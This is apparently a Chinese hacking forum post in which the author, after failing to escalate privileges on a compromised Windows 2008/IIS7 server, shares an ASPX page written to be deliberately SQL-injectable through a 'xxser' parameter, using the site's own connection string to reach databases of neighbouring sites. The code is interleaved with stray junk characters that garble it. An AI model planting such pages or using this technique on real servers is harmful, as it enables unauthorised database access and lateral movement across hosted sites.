利用aspx构造注射来跨站

admin

昨天跟4z1看一个站点，提权很难提，看了整整5个小时，无果。 2008+iis7，无sa，无root，无各种服务。。。
其实中用到了aspx构造注射来跨站，网上找了一堆代码，没一个能用的。
代码量不多，自己写个拉倒了。烦死了。
, |2 y; l$ V8 v
7 }, F1 t! q( k/ V$ L  Y4 {​
! _4 l9 U. K. E& `0 e% |8 n2 q' d* _1 d<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
- R' J1 H0 o+ e0 N6 H* O: Q<head runat="server">
    <title>暗影aspx构造注射专用页面</title>
. {! C: e6 `# g; T6 P! V% ]</head>
<body>
    <form id="form1" runat="server">
+ i' z- n- S2 r/ |" T    <div>
     <script language="c#" runat="server">
            
         void page_init(object sender, EventArgs e)
         {
            
- C6 o% \4 \' j4 q% p5 w             System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();
            
3 G. w, p( e; ]             conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
             conn.Open();
1 D$ Z. O9 ?9 ?9 c$ t            
             string i =  this.Page.Request.Params["xxser"];  //这里是参数?xxser=1
            
) k9 W* P7 G  t             System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
) y( N9 X7 ^8 t! B8 }+ Y2 _, B             int x = command.ExecuteNonQuery();
             Response.Write(i+"\n");
. G2 H% \1 B3 [, m# I             Response.Write(x);
             conn.Close();
         }
     
  </script>
% m+ e/ L+ I1 o" \) h) ^    </div>
. F" g/ ~& d$ f1 X    </form>
0 o7 o, h5 w& {" O% l</body>
</html>
+ H9 C& h5 d& X: j; h% K. s